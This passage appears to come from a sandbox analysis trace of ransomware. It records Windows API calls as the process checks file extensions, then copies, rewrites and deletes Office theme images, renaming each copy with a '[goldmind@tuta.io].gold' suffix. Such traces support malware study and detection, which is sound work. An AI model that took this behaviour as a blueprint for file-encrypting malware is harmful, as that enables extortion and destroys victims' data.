Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0042.648] lstrlenW (lpString=".doc") returned 4 [0042.648] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0042.648] lstrlenW (lpString=".docx") returned 5 [0042.648] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0042.648] lstrlenW (lpString=".pdf") returned 4 [0042.648] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0042.648] lstrlenW (lpString=".xls") returned 4 [0042.648] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0042.648] lstrlenW (lpString=".xlsx") returned 5 [0042.648] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0042.648] lstrlenW (lpString=".ppt") returned 4 [0042.648] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0042.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0042.648] lstrlenW (lpString=".zip") returned 4 [0042.648] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0042.648] lstrlenW (lpString=".rar") returned 4 [0042.649] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0042.649] lstrlenW (lpString=".bz2") returned 4 [0042.649] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0042.649] lstrlenW (lpString=".7z") returned 3 [0042.649] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0042.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0042.649] lstrlenW (lpString=".dbf") returned 4 [0042.649] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0042.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0042.649] lstrlenW (lpString=".1cd") returned 4 [0042.649] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0042.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0042.649] lstrlenW (lpString=".jpg") returned 4 [0042.649] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0042.649] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0042.649] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0042.649] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0042.649] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=3611) returned 1 [0042.649] CloseHandle (hObject=0x1fc) returned 1 [0042.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif")) returned 0x20 [0042.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.649] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0042.649] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.650] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.650] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0042.651] GetLastError () returned 0x0 [0042.651] ReadFile (in: hFile=0x1fc, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0xe1b, lpOverlapped=0x0) returned 1 [0042.652] WriteFile (in: hFile=0x1f4, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xe20, lpOverlapped=0x0) returned 1 [0042.653] ReadFile (in: hFile=0x1fc, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.653] WriteFile (in: hFile=0x1f4, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xea, lpOverlapped=0x0) returned 1 [0042.653] SetEndOfFile (hFile=0x1f4) returned 1 [0042.653] CloseHandle (hObject=0x1f4) returned 1 [0042.653] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.653] SetEndOfFile (hFile=0x1fc) returned 1 [0042.654] CloseHandle (hObject=0x1fc) returned 1 [0042.654] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0042.654] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif")) returned 1 [0042.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0042.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0042.654] lstrlenW (lpString=".doc") returned 4 [0042.654] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0042.654] lstrlenW (lpString=".docx") returned 5 [0042.654] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0042.654] lstrlenW (lpString=".pdf") returned 4 [0042.654] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0042.654] lstrlenW (lpString=".xls") returned 4 [0042.654] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0042.654] lstrlenW (lpString=".xlsx") returned 5 [0042.654] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0042.654] lstrlenW (lpString=".ppt") returned 4 [0042.654] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0042.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0042.654] lstrlenW (lpString=".zip") returned 4 [0042.654] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0042.654] lstrlenW (lpString=".rar") returned 4 [0042.654] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0042.654] lstrlenW (lpString=".bz2") returned 4 [0042.655] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0042.655] lstrlenW (lpString=".7z") returned 3 [0042.655] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0042.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0042.655] lstrlenW (lpString=".dbf") returned 4 [0042.655] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0042.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0042.655] lstrlenW (lpString=".1cd") returned 4 [0042.655] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0042.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0042.655] lstrlenW (lpString=".jpg") returned 4 [0042.655] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0042.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0042.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0042.655] lstrlenW (lpString=".doc") returned 4 [0042.655] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0042.655] lstrlenW (lpString=".docx") returned 5 [0042.655] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0042.655] lstrlenW (lpString=".pdf") returned 4 [0042.655] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0042.655] lstrlenW (lpString=".xls") returned 4 [0042.655] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0042.655] lstrlenW (lpString=".xlsx") returned 5 [0042.655] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0042.655] lstrlenW (lpString=".ppt") returned 4 [0042.655] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0042.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0042.655] lstrlenW (lpString=".zip") returned 4 [0042.655] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0042.655] lstrlenW (lpString=".rar") returned 4 [0042.655] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0042.655] lstrlenW (lpString=".bz2") returned 4 [0042.655] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0042.655] lstrlenW (lpString=".7z") returned 3 [0042.655] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0042.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0042.655] lstrlenW (lpString=".dbf") returned 4 [0042.655] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0042.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0042.655] lstrlenW (lpString=".1cd") returned 4 [0042.655] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0042.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0042.655] lstrlenW (lpString=".jpg") returned 4 [0042.655] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0042.667] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0042.668] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0042.668] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0042.668] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=34163) returned 1 [0042.668] CloseHandle (hObject=0x1f4) returned 1 [0042.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png")) returned 0x20 [0042.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.668] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0042.668] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.668] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.668] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0042.669] GetLastError () returned 0x0 [0042.669] ReadFile (in: hFile=0x1f4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x8573, lpOverlapped=0x0) returned 1 [0042.696] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x8580, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x8580, lpOverlapped=0x0) returned 1 [0042.697] ReadFile (in: hFile=0x1f4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.697] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0042.697] SetEndOfFile (hFile=0x1e8) returned 1 [0042.697] CloseHandle (hObject=0x1e8) returned 1 [0042.697] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.697] SetEndOfFile (hFile=0x1f4) returned 1 [0042.698] CloseHandle (hObject=0x1f4) returned 1 [0042.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0042.698] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png")) returned 1 [0042.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0042.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0042.698] lstrlenW (lpString=".doc") returned 4 [0042.698] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0042.698] lstrlenW (lpString=".docx") returned 5 [0042.698] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0042.698] lstrlenW (lpString=".pdf") returned 4 [0042.698] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0042.698] lstrlenW (lpString=".xls") returned 4 [0042.698] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0042.698] lstrlenW (lpString=".xlsx") returned 5 [0042.698] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0042.698] lstrlenW (lpString=".ppt") returned 4 [0042.698] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0042.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0042.698] lstrlenW (lpString=".zip") returned 4 [0042.698] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0042.699] lstrlenW (lpString=".rar") returned 4 [0042.699] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0042.699] lstrlenW (lpString=".bz2") returned 4 [0042.699] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0042.699] lstrlenW (lpString=".7z") returned 3 [0042.699] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0042.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0042.699] lstrlenW (lpString=".dbf") returned 4 [0042.699] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0042.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0042.699] lstrlenW (lpString=".1cd") returned 4 [0042.699] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0042.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0042.699] lstrlenW (lpString=".jpg") returned 4 [0042.699] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0042.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0042.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0042.699] lstrlenW (lpString=".doc") returned 4 [0042.699] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0042.699] lstrlenW (lpString=".docx") returned 5 [0042.699] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0042.699] lstrlenW (lpString=".pdf") returned 4 [0042.699] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0042.699] lstrlenW (lpString=".xls") returned 4 [0042.699] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0042.699] lstrlenW (lpString=".xlsx") returned 5 [0042.699] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0042.699] lstrlenW (lpString=".ppt") returned 4 [0042.699] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0042.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0042.699] lstrlenW (lpString=".zip") returned 4 [0042.699] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0042.699] lstrlenW (lpString=".rar") returned 4 [0042.699] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0042.699] lstrlenW (lpString=".bz2") returned 4 [0042.699] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0042.699] lstrlenW (lpString=".7z") returned 3 [0042.699] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0042.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0042.699] lstrlenW (lpString=".dbf") returned 4 [0042.699] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0042.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0042.699] lstrlenW (lpString=".1cd") returned 4 [0042.699] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0042.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0042.699] lstrlenW (lpString=".jpg") returned 4 [0042.699] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0042.700] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0042.700] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0042.700] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0042.700] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=937) returned 1 [0042.700] CloseHandle (hObject=0x1f4) returned 1 [0042.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif")) returned 0x20 [0042.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.700] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0042.700] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.700] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.700] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0042.702] GetLastError () returned 0x0 [0042.702] ReadFile (in: hFile=0x1f4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x3a9, lpOverlapped=0x0) returned 1 [0042.704] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x3b0, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x3b0, lpOverlapped=0x0) returned 1 [0042.705] ReadFile (in: hFile=0x1f4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.705] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xea, lpOverlapped=0x0) returned 1 [0042.705] SetEndOfFile (hFile=0x1e8) returned 1 [0042.705] CloseHandle (hObject=0x1e8) returned 1 [0042.705] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.705] SetEndOfFile (hFile=0x1f4) returned 1 [0042.706] CloseHandle (hObject=0x1f4) returned 1 [0042.706] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0042.706] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif")) returned 1 [0042.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0042.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0042.707] lstrlenW (lpString=".doc") returned 4 [0042.707] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0042.707] lstrlenW (lpString=".docx") returned 5 [0042.707] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0042.707] lstrlenW (lpString=".pdf") returned 4 [0042.707] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0042.707] lstrlenW (lpString=".xls") returned 4 [0042.707] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0042.707] lstrlenW (lpString=".xlsx") returned 5 [0042.707] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0042.707] lstrlenW (lpString=".ppt") returned 4 [0042.707] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0042.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0042.707] lstrlenW (lpString=".zip") returned 4 [0042.707] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0042.707] lstrlenW (lpString=".rar") returned 4 [0042.707] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0042.707] lstrlenW (lpString=".bz2") returned 4 [0042.707] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0042.707] lstrlenW (lpString=".7z") returned 3 [0042.707] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0042.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0042.707] lstrlenW (lpString=".dbf") returned 4 [0042.707] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0042.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0042.707] lstrlenW (lpString=".1cd") returned 4 [0042.707] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0042.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0042.707] lstrlenW (lpString=".jpg") returned 4 [0042.707] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0042.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0042.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0042.707] lstrlenW (lpString=".doc") returned 4 [0042.707] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0042.707] lstrlenW 